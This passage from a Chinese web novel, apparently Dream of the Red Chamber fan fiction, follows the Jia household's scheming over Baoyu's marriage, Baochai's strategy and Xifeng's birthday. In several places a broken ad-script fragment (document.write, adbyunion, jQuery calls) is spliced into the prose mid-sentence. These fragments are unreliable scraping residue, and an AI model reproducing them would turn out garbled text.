“宝二奶奶?”白露一副好奇的样子,“听你这话,难不成是你们府里老太太、太太已经看中了哪家的姑娘?” “老太太、太太疼他跟疼眼珠子似的,寻常人家的女孩哪里看得上眼。”凤姐便又把端午节时张道士提亲,却被贾母用和尚的话顶回去的事当笑话讲了一遍,接着又说,“到底是个凤凰蛋,虽然年纪轻轻的,别说丈母娘们等不及,便是姑娘们自己也等不啊。” 凤姐此来本也想试探试探白露,想看看她对宝玉跟黛玉的事怎么看?若是白露真有这个意思,那她何不顺水推舟,在老太太、太太面前帮上一把? 宝玉如今屋子里人虽多,可跟黛玉到底是打小的情分,旁人便是十个也比不上。更何况宝玉又是那副好性子,事事都想着黛玉,便是吵嘴了,也只有他先低头的份儿。 两个人若是能成,倒当真是一对好姻缘。就是黛玉身子弱,要是真成了宝二奶奶恐怕也有心无力。扛不起家里里里外外这么多事情,到时候也只有她继续辛苦的份。 可黛玉到底不同其他不知底细的人,心眼正,同她关系又好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,以后若是做了一家人,彼此守望相助也是好的。 凤姐脑子里已经跑过八百个念头,可白露却完全在反方向上狂奔。 她一听宝玉打算相看亲事就是一喜,恨不得今天提了明天就能定下来。是谁都好。可放过黛玉吧! 不说那些乌七八糟的事,就说贾家那烦得死人的规矩,当了媳妇就要伺候上头的婆婆太婆婆吃饭,怎么就那么爱当女明星,没一堆人站着围观就吃不下饭了? 白露心里只想说一句神经。 “哎哟,毕竟是宝玉嘛!”白露夸张地大笑一声,“那样的出身,那样的性子,那样的外貌,老太太太太想寻个样样配得上的好姑娘也是应该的。若是这样,就更该同京城其他府里多走动走动才是,否则人家藏着好姑娘,你们府上也不知道,这是打算提着灯笼到哪儿去找人呢?” 见白露没有为黛玉打算的意思,凤姐干脆也就丢开手不再管这事。 送走凤姐,白露转念一想,却也不知道黛玉如今对宝玉到底怎样?两个人还是当兄妹一样,像小孩子一样相处着;还是又趁她不注意的时候找机会说开了? 如今贾家都打算给宝玉相看亲事了。凤姐又没有提起黛玉,想来贾家也是不愿意的。 不愿意好啊,就是不知道要是黛玉知道了这事会不会又哭得吃不下饭? 白露忧心忡忡,“看来还是得找个机会再把黛玉接出来,让她避开这桩事才行。” 白露这么嘀咕着,兰叶和秋桂耳朵尖听见了,便在一旁出谋划策,“过两天就是姐儿的生日,咱家人口少,何不请黛玉姑娘回来一起热闹热闹?” “这个好!快快快!”白露赶紧写帖子,“抓紧时间给黛玉送去,叫她也别备礼物,人多住几天就是了!” 秋桂拿着帖子就往贾府送。凤姐才回自己家里就听到有人传信说林家太太又给林姑娘送东西来了,一打听才知道白露想起接黛玉回家去。 “这么着急忙慌的,是真看不上宝玉?”凤姐想不通,跟平儿嘀咕,“我瞧着宝玉虽不成器了些,却也比那起子吃喝嫖赌的混账男人强多了啊?” 平儿避重就轻,“才说了要奶奶少操些心,奶奶就在这想东想西的。那林家人口少姐儿做生日,请林姑娘这个做姑姑的回去看看孩子,难道不是正经应该的?” “少跟我来这套!”凤姐拍她,“宝玉房里几个丫头是闹腾了些,前儿怎么还听说谁使起性子来撕了一匣子扇子?好日子过久了果然作耗起来了,赶明个太太恼起来才知道厉害。我知道你跟她们好一场,得空了也去说说,劝她们都安生点。太太这回是铁了心要把宝玉挪出来了。” 这挪了出来,地方了就没怡红院那么宽敞了,也就没道理再带一屋子几十个姑娘一起。要不然老爷看见了,怕不是立刻打劈了他! 王夫人也想到了这点,她叫了周瑞家的说:“宝玉身边丫头们年纪小的安排去别处,大了的几个挑两个好的留下,其余的就叫她们家里人来领回家去。” “是。”周瑞家的就去寻怡红院丫头们的名册来。 她脚步慢,可有人脚步快。 墙角听了一耳朵的小丫头悄悄退出去,出了门就往园子里跑。 16. 黛玉暂离大观园 却说黛玉收到白露的帖子,心下思忖:康姐儿过生日,虽是晚辈,可同族里也没别的小姑娘了。原我也该去嫂嫂家小住,但如今园子里姐妹们因着我才日日轮流教嫂嫂的弟子们读书,我这会子撇下她们一个人出去,岂非不是个人? 黛玉想了想,便对来送帖子的秋桂道:“园子里医女们的课业耽误不得,算算日子,我去嫂嫂那小住三日,之后再回来教书好了。” 秋桂便笑:“姑娘做事认真,我们太太也是日日都想着医馆里的事。这么看,姑娘与我们太太不像嫂嫂与小姑子,倒像亲姐妹似的。” 黛玉一想白露平日里对她的照顾,不管是衣食身体还是特意求了爵位,大事小事事事都要关心,倒真如秋桂所说,是亲姐妹一般的情分。 于是心里顿时一暖,“可见我跟嫂嫂有缘。” 黛玉留了妈妈们看屋子,叫紫鹃和雪雁先替她辞过园子里姐妹们宝玉,又亲子去贾母和王夫人那一说,转头告诉了凤姐,便拎着小包袱同秋桂上了回林家的车。 探春几个送了黛玉出门,正约好了一起回去找点事做打发时间,便看到一个小丫头头也不抬,闷头往园子里撞。 “站住。”探春呵了一声,“过来,就是你,过来。” 待人走到眼前,探春上下一看,“我记得你,你是太太院里的。你叫什么?这闷头匆匆往园子里去,是太太有事情找我们?” 三姑娘素日里就威名在外,小丫头落在她手里,也不敢嬉皮笑脸,只能绞尽脑汁想法子回话。 “奴婢叫翠枝,是太太,是奴婢这会子无事,想去园子里找姐妹们玩。” 贾府一向待下人们宽和,闲暇无事时,并不拘着人不让走动。外面的小丫头跑到园子里找相识的人玩更是常有的事。 可探春眉头轻皱,忽然冷笑一声,“好个大胆的小丫头,打量着我们都是姑娘,便扯起谎来哄骗我们不成?你张口就说太太,转眼又改口说自己只是想去园子里玩。看你言辞闪烁,难不成是藏了什么偷鸡摸狗见不得人的心事!” 小丫头吓得脸都白了,“三姑娘明鉴,奴婢不敢!” 原本探春心里只有七分起疑,眼下一见这翠枝三两句话间便抖得人如筛糠,哪里还有不明白的? “再不说实话,便拿了你到太太那儿去,到时候自有你说的地方。” “姑娘饶命啊姑娘!”这翠枝忽地一下扑在地上,倒把迎春吓了一跳。她也顾不得如今还是在大路边上,哭着便把自己偷听来的王夫人和周瑞家的话说了一遍,“……奴婢,奴婢也没别的心思,只是听了这么一耳朵,便想,呜,便想着告诉袭人姐姐去,好讨个赏。” “好了!”探春哪里想到这丫头嘴一张竟然倒出这么一桩事,“这事有太太做主,哪轮得到你多嘴。还不快擦了眼睛回太太那里去,仔细让人知道你偷跑出来再追究你!” 小丫头这下也知道怕了,哭哭啼啼地就跑走了。 迎春不愿多事,见探春一脸烦得不行的模样,便轻轻扯扯她的衣袖,“好了,便如你说的,左右是该太太做主呢,咱们操哪门子闲心。宝玉大了,该好生读书了,搬出去也是好事。” 探春还是不说话,倒是惜春笑了起来,“三姐姐哪里是舍不得二哥哥,三姐姐是想起怡红院里人多嘴杂,心里腻得慌呢。我跟三姐姐一样,若单看呢,心里觉得二哥哥屋里的丫头们各个都是好的,可要是往那院子里走一遭,在那人堆里滚一圈,就腻烦得不行,觉得这里也不好,那也不对劲,人都变了个模样。也是奇了,可见我没二哥哥的福气,受不得这么多好人围着我转。” “机灵鬼。”探春这才轻轻捏捏惜春的发髻,“俗话说‘修身齐家治国平天下’,可见古人事事都经历透了。既是咱们姐妹们说话,那我也不避着,照我说,这男人贯不把咱们女人当回事,想怎么摆弄就怎么摆弄,却不知道女人自有自己的心思,若不顺心了,还不知怎么明着暗着闹呢。” 这话可不止说宝玉,便是琏二哥哥,东府里头蓉儿和珍大哥哥,甚至大老爷和老爷,哪个身边没几个人?就连去了的珠大哥哥,从前还有几个房里人呢。 于是迎春和惜春不敢再深了说下去,只拉着探春去喝茶,消消火气。 王夫人不知道自己院子里差点又多了个嘴长的,心里正烦闷着另一桩事。 原本万事有凤姐可以商量,可事关宝玉的亲事,凤姐这个大房的儿媳妇便也靠不太住了。 老太太倒是上心,可究竟是自己的儿媳妇,娶进来还得跟自己一条心才是。 王夫人左思右想,也想不出个能商量的人来。只好叫来周瑞家的,也算有人能吱个声。 那周瑞家的一听王夫人是为这事叫自己,想起薛家偷摸着送到女儿那里的礼,便试探着说道:“太太,太太为着哥儿的亲事是日也想,夜也想,可太太怎么就不想想,那容貌性子家世年纪都合得来的姑娘,远在天边,更近在眼前呢。” “你是说……”王夫人睁开眼睛,“还是宝丫头?可老太太那……” 老太太瞧不上宝丫头,这大家心里多少都清楚。如今她非要跟老太太顶着来,这怕是不成。 周瑞家的就说了,“老太太从前是心疼林姑娘无依无靠,可如今人家同族里的人还没死绝呢,再说又有了爵位,往后什么姑爷找不得,再找个林姑爷那样的,于府里不也是一份助力?这不是林姑娘,那其他姑娘在老太太眼里又有什么分别?” “这倒也是。”王夫人一想也对。 “倒是宝姑娘不止模样好,性子更好,家里虽没个为官做宰的兄弟,可积年的富贵。又是太太跟前看着长大的,彼此知根知底,难道不是老天注定的姻缘?” 王夫人点点头,“你说的不错,那孩子确实是个好的。别人都只知道拉着宝玉瞎玩,就她会劝宝玉读书上进,可见是个贤惠明事理的。” 又是她的亲侄女,以后收了管家权交到宝丫头手里,不怕宝丫头扶不上墙,更不怕她老实 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 只是王夫人还有些犹豫,“就怕老太太还看了别家姑娘。罢了罢了,你替我记下,稍后就写封信去问老爷,就说宝玉如今也该相看亲事了,看看他知不知道什么合适的好人家。若是没别的想法,便问问他宝丫头如何,我瞧着倒是处处都合适的。” “知道了。” 周瑞家的答应下来,等到晚饭的时候,这消息就传到了薛家人耳朵里。 薛蟠在玩耍处听了小厮说有要紧事,当即酒也不喝了,歌也不唱了,骑着马就往家里去。 “妈上回说的事有眉目了。”薛蟠嬉皮笑脸地凑到薛姨妈身边,“这回妈可该好好夸夸儿子。” “上回?”薛姨妈却一时没有反应过来,“上回什么事?” “还能有什么事,就是为了妹妹的事。”薛蟠招呼了小厮近来,“把你听到的话一字不落好好学给太太听。” “是,那周瑞家的女婿,叫冷子兴的是这么说的,他说那周瑞家的叫小丫头往他们家里传话,说那府里的太太跟周瑞家的说了……” 薛姨妈听得一脑门子官司,薛蟠更是酒气上头,忍不住一脚踹了过去,“费哪门子话,叫你说就直说!” “是是是!是这么回事……”小厮赶紧把话又学了一遍。 末了薛蟠挥挥手叫他滚,又回过头对薛姨妈得意道:“妹妹那点心思,害怕我这做哥哥的笑话什么?姑娘大了想嫁人,天经地义的事!这不,儿子这就给办得妥妥当当的!” “你呀!”薛姨妈轻轻拧着儿子耳朵扯了扯,“你就是个大傻子!没听出来你姨妈心里还打着别的主意吗!这是指望着你姨父再寻个当官的老丈人给你宝兄弟呢!要是实在找不着合适的,再来找你妹妹填坑不迟!” “哈!”薛蟠一听,顿时怒发冲冠,“岂有其理!当我们薛家是那好欺负的不成!我这就找他们算账去!这宝玉又是什么好东西,以为有个当贵妃的姐姐就能可着天底下姑娘给他挑?分明是知道巴望不上人家县主娘娘了,才想着另攀高枝呢!” “你这嘴上不把门的孽障!早先吃了教训还不知足,如今又要混闹!”薛姨妈吓得心都要跳出来了,哪里敢放薛蟠出门。 “也不想想咱们如今住的还是贾家的屋子,你还不小声着点!你妹妹这几日都在家里呢,叫她听见了,这脸往哪里放!” “这也不行那也不行!”薛蟠气得在屋里团团转了两圈,“唉!” 薛姨妈见儿子一脸憋着气的样子,再想想如今寄人篱下,世态炎凉,不禁也悲从心起,“老爷没了,你再不好好撑起咱们家,日后生意一日日散尽了,我跟你妹妹怕是连这贾府东北角也住不得了!” 母子两个一筹莫展,相顾无言。后院的厢房里,莺儿也闷闷不乐,“姑娘出来好些天了,如今太太身子也好了,咱们什么时候回园子里去?” “傻丫头。”宝钗低头绣着鞋面,“咱们既然出来了,又何必再回去。姐妹们再好,早晚有各寻出路的时候。” 17. 宝钗以退为进 “姑娘这话是怎么说的?”莺儿吓了一跳,“好端端的,怎么就说起要散的这种话?” “这有什么,”宝钗手上活计不停,“云丫头都定了亲,咱们也是时候想想出路了。” 莺儿想了想,“那姑娘可有什么打算?太太是个什么意思?咱家刚上京那会儿,太太不是还想着您跟宝二爷能成一对儿?啊!姑娘如今从园子里先搬出来,是不是太太跟姨太太准备商量姑娘跟宝二爷的事情了?” “多嘴。” 哪里有什么她跟宝玉的婚事。只是黛玉教着,贾家三个姑娘也跟在后边帮忙,独她一个闲人留下来碍人眼做什么? 有在皇后娘娘面前露脸的机会,贾家却没想着拉她一把,她再留下来,岂不是自讨没趣。 宝钗并不接莺儿的话,只教训她,“这些事情咱们两个在屋子里说说也就罢了,万万不能再叫旁人听了去,可知道了。不说这个了。帮我把剪子拿过来。” “诶。” 接了剪子,宝钗咔嚓一声剪断线头,这鞋子便算做成了。 “鞋子给太太送去,再把我之前裁好的布拿过来。” “姑娘这料子裁的小,是给二奶奶家巧姐儿做的衣裳不成。” “不,不是说过几日便是林太太家小姑娘的生日?这是给那孩子做的衣裳。” 莺儿就奇了,“可姑娘跟那家太太不过是打个照面的关系,怎么就想起给人家姐儿送衣裳来了?” “非亲非故却上门送礼,大概是有事相求了。” 白露放下帖子对秋桂说道:“去回薛家姑娘,就说也不必特意等姐儿生日了,明个我正要打发人去荣国公府里头接贾家几位姑娘。若是她得空,便请跟姊妹们一起到咱们家里来玩。” 第二日宝钗果然跟着贾府三位姑娘们一起来了,白露招待着她们一起吃吃喝喝闲散一日。兴之所至时,几个姑娘还诗兴大发,各自挥毫一首。 白露吓了一跳,生怕她们让自己也来一个,好在大家都是体贴人,见白露只听不做,便想到她大约是不会做诗,于是谁也没有提这话。 白露心里一直惦记着宝钗,远想着她约莫什么时候会来找自己说事,甚至主动抽了个空到屋子里去,就等着宝钗主动过来。 然而左等右等却不见人。白露也迷糊了,“所以这到底是在做什么?” 就这样,等到贾家派车来接几位姑娘们回府,白露也不知道宝钗这一趟到底是做什么打算。 同样迷糊的还有莺儿,她跟着自家姑娘出了门又回去,左看右看也没见姑娘主动做些什么,于是心里越发不解,回了屋子就直接问了起来。 “姑娘往林家跑这一趟,见了那家太太却又不说话,到底是个什么心思?” “说出来只怕你也不信。”宝钗轻轻叹了口气,“我只是想去看看人家孤儿寡母,没个男人支撑门户是怎么把日子过下去的罢了。” 莺儿想也不想就答道:“还得多亏了林太太一手好医术,京城里那么多太太都夸她,夸到皇后娘娘耳朵里去了。如今有皇后娘娘照拂,上到达官显贵,下到地痞流氓,谁还敢欺负她家?没人欺负,这日子自然过得安心。” “说到底你也知道是人家有本事。有本事才能得贵人青眼,人家林太太会医术,如今咱们家又有什么能让人高看一眼的?” 宝钗难得这样疾言厉色,莺儿一时间吓得大气不敢出,“……咱们家好歹也是皇商,一样领着皇家的差事。” “可这差事是越来越少。家里拿了多少银子到处打点,可结果呢?便是贾家出了个贵妃,实惠自然也是贾家的,关咱们家什么事。再这般出多进少,这家业说不得哪天也就要散了。” “既然贵妃指望不上,那姑娘是想借林家太太这条线搭上皇后娘娘的关系?也是,贵妃娘娘再大,后宫里到底还是皇后娘娘说了算。娘娘指派了内务肥差,家里的生意不就好做了!” 可宝钗却没有这样乐观,或者说,她完全不指望哥哥能突然振作起来照顾好家里,只求她千万别再惹下什么更大的祸事就好了。 她去林家拜访,只是心里隐隐约约有个念头。林太太都能独自知应门户,她自认眼界学识不逊旁人,难道就不能有朝一日也自己顶天立地?好过如今这样低三下四小心周全,却还要被人嫌弃。 薛姨妈不知道女儿的心思已经有了些变化,想了一晚上,还是愁眉苦脸地来找女儿商量。 “我的儿,虽说姑娘家的婚事应该由我这个当妈的和你哥哥操心,可你哥哥你也是知道的,成日里在外面喝酒玩耍不着家,说是交朋友打开门路,可白花花的银子往水里砸了多少也不见听个响。我思来想去,你从小聪明,这事又关系你自己的前程,所以还是来跟你商量才是。” 薛姨妈把之前从小厮那儿听来的话这样那样一说,最后叹气道:“咱们家到底是商户人家,比不得你姨妈家几代勋贵。你姨妈便是疼你,也想着给你宝兄弟挑更好的。更何况还有老太太,便不是史大姑娘,只怕也想着从故旧里挑个跟她更亲近的。 我的儿,实在不行,我就再去求求你姨妈!到时候家里给你多陪些嫁妆,总不至于让你宝兄弟吃亏就是。到底你的年纪也拖不得了。” 薛姨妈越说越着急起来。家里如今不上不下的,便是有些钱财,可真正高门大户也不肯瞧一眼。若是将就低嫁,又委屈了自己这个女儿。 倒是宝钗依旧八风不动,脸虽忍不住红,脑子却一点不耽误想事情。 “妈可别去。”宝钗连忙按住薛姨妈的手,“说了咱们是商户人家,怎么妈连‘上赶着不是买卖’这句话妈也忘了。若真去求了姨妈,往后咱们家在贾家面前是再也抬不起头了。” “那可如何是好?” 宝钗略一思索,“妈还找姨妈去,只是特别说我跟宝玉的婚事,只求姨妈留心替我相看有没有合适的人家。” “啊?”薛姨妈一愣,随即就恍然大悟,“你姨父身在官场,同僚中说不得还真有合适的。好好好,”薛姨妈喜笑颜开就要起身,竟像是一刻也等不了的样子,“我这就找你姨妈去。也是,你这样好的姑娘,何必在一棵树上吊死呢?” 被亲妹妹找上门的王夫人乍一听被吓了一跳,“怎么就着急着给宝姑娘说人家了?明明还是个孩子呢。” “哎哟,姐姐。”薛姨妈笑得跟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 朵花一样,亲亲热热地拉着王夫人的手话家常,“不小了,都已经及笄了,哪儿还能算个孩子呢?我也是想着,便是婚事不着急,但好不好的,人先定下来。免得日后着急忙慌的,什么事儿也办不好。” 姐妹两个之前私下是有意让两个孩子凑一对儿。可是这贾老太君一口回绝了,半点商量的余地都没有。 王夫人心下一边觉得对不住妹妹,一边又担心妹妹认定了宝玉,非要她给个说法。 如今见薛姨妈竟然这么敞亮地丢开之前的事情不提,王夫人心里的愧疚就更多了一分。 可是也不能就这么把宝丫头给许出去了呀。 “妹妹,我也不瞒你。之前老太太是有意林丫头,可如今看着是不成了。我心里向来觉得还是宝丫头更好,如今老太太说不成林丫头,咱们姐妹俩何不再合计合计,干脆就定下宝玉和宝丫头的事情。旁人我也不放心,只有交到宝丫头手里,我才是放心的。” “这……”薛姨妈倒是没想到王夫人会说出这样一番话,随即就明白了之前女儿让自己如此说是在以退为进。 她心里暗笑,面上又推辞了两句,见王夫人格外坚持,才不好意思答应下来,“宝玉向来好涵养,从来也是敬着宝丫头这个做姐姐的。若能说给宝玉,倒果真比外头那些不知根底的混战行子强出百倍,这才是宝丫头的福气。” 姐妹俩私下说定。 等薛姨妈走了,周瑞家的就在一旁悄悄问王夫人,“太太不是前儿才叫给老爷去信,若是老爷有什么想法,可如何是好?” 被这么一提醒,王夫人才忽的想起来还有这一回事。 可是信都已经写了。 她转了转手上的佛珠,“叫人去道观里请张道士,让他老人家给宝玉和宝丫头合个八字。若是他老人家都说好,想必老爷再没有不允的。若是老爷都允了,老太太那里必也没有什么要说的了。快快快,此事一定要快。” 要不然,还不知道老太太要给她找个什么样的儿媳妇呢。 像珠儿媳妇那样没福气的,她就瞧不上。林姑娘么,做自家小辈当然怎么样都好,可若是做儿媳妇,那就是哪哪都不好。 左看右看,到底还是宝钗更稳重大方,又能劝人上进,又不会争风吃醋闹得家宅不宁。 王夫人左比右比,越想越觉得还是宝钗真是最好的人选。眼看周瑞家的就要出去,又忙叫住她,“等等,这事不要叫别人去办,叫你女儿直接从府外边跑一趟。免得被那起子耳朵尖的人听到了,嘴一张就传到园子里去。要果真是那样,还不知道宝玉又要怎么犯浑呢?” 周瑞家的小心答应了,出了门也一点不敢耽搁,赶紧找到自家女儿如此这般吩咐一阵。 等女儿出了门,周瑞家的又回了王夫人身边。 “太太上回说打发宝二爷身边姑娘出去的事……” “你瞧我这脑子,事情一桩一桩的,差点又忘了。”王夫人站起身来,搭着周瑞家的手就往外走,“我光听你念名字也对不上人,趁今天还有功夫,干脆亲眼去那园子里看看。也不单单是为了宝玉,姑娘们身边若有不好的,趁此机会一并打发了干净。” 18. 王夫人暗访大观园 王夫人自问不是那等心胸狭窄的小气人。别说爷们儿跟前有几个房里人,就是正经的姨娘们,她也不是容不下。 出门撞上凤姐问她做什么到园子里去,王夫人便把自己的打算说了,又辩解道:“……论礼,宝玉大了,身边是该放两个人,只是我冷眼瞧着他院里那些大丫头小丫头们实在太不成器。除了袭人几个好的,其余谁不是成日里穿红着绿,勾得宝玉跟她们混闹。如今书也不读,学也不上,在园子里待着也不出门交际,越发连兰儿都不如了。老爷前儿打了他一顿,下手虽狠,可教训的确是该的。索性如今我先把他身边那些人打发了,也免得以后新媳妇进门了瞧着太不像样子。” 凤姐乍一听是这么个道理。可她自来心眼儿就比别人多几分,陪着王夫人走了一段路,还没到大观园园子门口就想清楚了:这桩事怕是不会那么轻易就让太太给办成。 太太抬举了袭人,把老太太的眼线变成了自己人。如今说是要打发不老实的人出去,可那必然是打发老太太的,留下自己的。 今儿太太倒是可以先下手为强,可老太太在家里坐着也不是吃素的。两人日后可还有的掰扯,到时候在中间受夹板气的还不是自己。 凤姐如今恨不得早早把府里大小事情脱手,哪里还想自找麻烦,只是小叔子房里的事情也轮不到她多嘴…… 她心思急转,暗道:拖得一时是一时,今儿先稳住太太,等宝玉房里人知道了太太的打算,自有人到老太太耳边去吹风。到时候太太直接跟老太太斗法,这就不关我什么事了。 于是凤姐一边笑着奉承王夫人慈母心肠,思虑深远,一边又出谋划策:“宝兄弟的脾气太太您也不是不知道,要这么突然给他来一下子,不定把宝兄弟刺激成什么样呢。莫不如太太先去暗访一番,打丫头们一个措手不及,看看平日里主子们不在时究竟谁恪尽职守,谁闲散偷懒,心里有个数,之后再找机会合情合理地把人发落了,这样便是宝兄弟心软舍不得,也说不出什么话来。” 王夫人素来耳根子软,凤姐这一番话说的又有几分道理。她慢慢点了点头,忽然又想起几年前黛玉回南边去时,不知哪个多嘴的小丫头说了句黛玉再也不回来了,当时就把宝玉刺激得发懵。 往事浮上心头,王夫人越发想起自己的儿子就是这么个痴性子。 “还是你心思巧。”王夫人果然改了主意,“宝玉是个心软的,我若当着他的面发落了那些丫头,他经不住人一求,必是要向我求情的。果然还是该先察看一番,日后等宝玉不在家时再一气发落了。” “太太圣明。” 凤姐扶着王夫人一路先到了怡红院。 大下午的,只见门户大开,院子里却没一个人影。 见王夫人皱眉,凤姐便笑道:“这暑气还没过,丫头们在外头待不住也是有的。” “嗯。”王夫人也不多言,先绕道后堂屋外看了一圈,见几个小丫鬟各自卧在炕上打瞌睡。接着又走到了正堂屋里头。 麝月、秋纹几个做针线的做针线,玩牌的玩牌,忽见王夫人和凤姐带着人从屏风后头转了进来,顿时都吓了一跳。 “太太,二奶奶是来找二爷的?二爷如今出门去了,不在家里。” 王夫人左右扫了一圈,见宝玉的床上似乎还躺着个人。刚要说话时,麝月瞧见了平儿的眼色,一把把人从床上扯了下来。 于是王夫人就问:“你叫什么名字?这么躺着,是身子不痛快了?” 见晴雯人还是懵的,麝月忙替她道:“回太太的话,这是晴雯。” “……是……”晴雯慢慢反应过来,“身子好好的,只是守了夜白天困得很,所以才趁着无事的功夫歪一会子。” 王夫人点了点头,这才问宝玉去哪了。 麝月几个你看我,我看你,支支吾吾,最后还是晴雯出来说道:“二爷天一亮就出了门,也没说他往哪去。袭人倒是跟着出去了,大半天的也没回来,既然她一路跟着,想来二爷该还是在这园子里。许是又去哪位姑娘那,帮着给林姑娘那群学生们批课业去了。” “是吗。既然宝玉不在那边算了,等他回来了,你们就跟他说明儿白天记得来找我一趟。” 王夫人说完便转身走了。麝月几个各自拍拍胸口,忽然有人道:“太太来得这么突然,不知道找二爷什么事?要不,咱们现在就去找二爷?” “太太都说了明儿再去也使得,想来也不是什么大事。再说找人,园子这么大,上哪找人去。别我们跑一通没见着人,人自己回来了。” “就是……” 王夫人嘴上说无事,可看她抿着嘴脚步飞快,扶着自己胳膊的手更是在狠狠使劲,凤姐就知道太太这回是真的气着了。 “一个个的!成何体统!宝玉也是胡闹!不好好念四书五经学做文章,倒有功夫关心起别人的课业来了!” 丢下这么一句话,王夫人脚步不停,又直奔潇湘馆去。 潇湘馆里竿竿翠竹,绿影悠悠,进了院子只闻鸟鸣,不见人声。王夫人被清风一吹,又见留下来看家的老婆子小丫头们举止有度,心情这才勉强好了一点。 “宝玉可在?” 黛玉的奶妈早跟白露身边的赵妈妈通过气,知道两家做不成亲事,此时巴不得让人知道自家姑娘跟宝二爷其实也就是普通兄妹关系而已。 “回太太的话,今儿一直不曾见二爷。倒是我们姑娘刚出门那天来过一趟,只是也没久留,借了本书就走了。” 奶妈很聪明地没告诉王夫人是她们想方设法把宝二爷支走的。 听宝玉只是来借书,不曾一心扑在黛玉身上,王夫人心里的气更顺了一点,于是和颜悦色地叮嘱了两句看好屋子便走了。 出了潇湘馆,王夫人有顺路去探春、惜春、迎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 春那走了一遭,敲打了敲打丫鬟婆子们,回去的路上又拐了去李纨的稻香村,见兰哥认真读书,心里越发不是滋味。 “我管教宝玉到底是管教得太晚了。”王夫人这般对凤姐说道,“你瞧你大嫂子,到底是书香人家出来的,院子里清清静静的,正方便了兰哥专心学业。你林妹妹也好,几个姊妹都好,身边不要那么些人,反而能静下心来读书。” “太太惯会操心。”凤姐便说,“之前娘娘省亲,不是说宝兄弟诗写得好?我不懂这些,可娘娘总不会说瞎话,娘娘都说好,那必然是好的。再说宝兄弟才多大,少年人活泼些又怎么了?真像了如今老爷那样,太太又该愁怎么好端端生了个小老头子出来了。” 王夫人被逗笑了,“就你会说。也是,宝玉像老爷,老爷当年也是这般随性洒脱,后来当了官才稳重了下来。也罢,如今心里好歹有了数,之后慢慢料理不迟。” 凤姐拦下这一遭,回头就让平儿找小丫头把话传到怡红院里去。 “姑娘们身边才几个人,一院子里算上扫地看门的两个巴掌就数得过来。太太慈悲心肠,必是不肯裁到姑娘们身上去。你单让人往怡红院里递消息就是了,管她们什么手段,尽早的使出来,要不然就老实出门嫁人去。各自心里有个底,免得到时候闹起来大家脸上难看。再有金钏儿那样的事,全都别想好过!” 平儿便叫来小红,让她把这话悄悄传到怡红院里去,说完还叮嘱她千万别声张,否则二奶奶在太太那里面子不好看。 凤姐冷眼旁观,心里数着日子等王夫人找机会发作。可等来等去,也不见事情落实下来。反倒是老太太要在园子里请客。 既然要请客,那怡红院裁人的事情就只能再往后拖了,否则便是丢了大家气派,让亲戚们看笑话。 让哪些人走,让哪些人留,凤姐估摸着太太和老太太还要好一番角力。 但总归不关她的事,想走门路的也走不到她这里来。她只管自己过生日,伺候上头太婆婆婆婆们又吃喝取乐一日。 如今贾母跟王夫人都觉得白露是条人脉,凤姐又跟她关系好,于是一拍即合,说什么也要请白露带着姐儿来一起耍一日。 白露懒得出门,一开始还推辞,“我一个寡妇,哪好意思有事没事往国公府里跑。你家大奶奶不也从不出门嘛。” 凤姐冷哼一声,“少跟我学那些穷酸做派。寡妇怎么了,我没读过几本书,但也知道寡妇能号令朝廷,能垂帘听政,能当皇帝呢,人家当寡妇有那么大胆,你当个寡妇就连门都不敢出了?既不敢出门,你那医馆又算什么?走走走,少跟我来这套!” 白露就乐了,“你都这么说了,那我必是要去你家好好吃上一顿了!” 吃饱了,才能安慰被贾琏提着剑猫府里追杀的凤姐。 这么操心劳力到处敛财,可枕边人都不知道领情,唉,何必呢! 19. 琏二爷初见白露 过生日本是件值得高兴的事,只是看着凤姐明明是寿星,却还要在席间转来转去,上奉承贾母和王夫人,下应和鸳鸯几个大丫头的打趣,中间还要抽空照顾几个小姑子并宝玉吃得高兴,跟往日里也没什么分别,白露就觉得这生日过得也是累得慌。 过了一会儿凤姐吃多了酒,告辞说要回屋里去躺一躺。白露就知道,过一会儿就该闹起来了。 这边凤姐有了,上头贾母就叫。 说了一筐话,白露才听明白了贾母的意思。大概就是贵妃在宫中服侍圣上也有好几年了,只是不知怎么的,一直没能怀个皇子公主。宫里太医月月开药调理,只是怎么吃也不见效,所以想问问白露这几日有没有空,有的话,便随她们一道入宫请安,好同贵妃看一看。 白露就谦虚,“我妈走的那会儿我还小,也没学过怎么帮妇人怀孩子。便是学过一点皮毛,可我究竟没生养过,怎么敢到贵妃那里去献丑。倒是宫里的老太医们经验丰富,既开了药慢慢吃着就是了。这孩子的事说到底也是缘分,今儿许是缘分不到,但说不定赶明儿就到了。” 宫里的情况多复杂啊。后妃们怀孩子是因为单纯喜欢孩子吗?或许有那么一点,可她们想的更多的是如何巩固地位,如何为自己,为家族谋得更多的利益。 如今在外人眼里,她背靠皇后娘娘。可除了当初在皇后娘娘那儿的一套面试,后来她也没怎么入宫去晃,更没有掺和到宫妃的事情里头。 她要是真敢趟进那浑水,说不定什么时候就变成电视剧里那些被牵连得诛九族的倒霉太医。 可听了白露的推辞,贾母和王夫人还是一再恳求,“亲家太太便是不会这些,能帮娘娘调理调理身子也是好的。可怜娘娘久居深宫,不比家里这几个姑娘就在眼跟前,有个什么不痛快的,立时就能照应到……” 这说的是家里几个姑娘吗?这明明是在点她,如今贾家还照料着黛玉呢。 白露也没法,如今贾家还如日中天。这要是让这婆媳两个嘴一歪,说出点什么她家一朝攀上皇后娘娘的高枝翻脸就不认人了的话,她倒是无所谓,可总不能不顾黛玉。 “既然老太太、太太信得过我,再推辞就是不识好歹了。进宫前一日,老太太、太太打发人来说一声就行。” 贾母和王夫人目的达成,待白露就更亲热起来,招呼她说平日里也辛苦,今天趁着吃席再多饮两杯酒。 白露举着酒杯,紧接着外边就闹了起来。 凤姐披头散发地闯了进来,直扑贾母就哭,边哭边嚷嚷着说琏二爷要杀她求贾母救命的话。 满屋子的人哪里见过这样的场景?正一时惊得不知如何是好,果真就见贾琏提着一柄寒光闪闪的宝剑冲了进来。 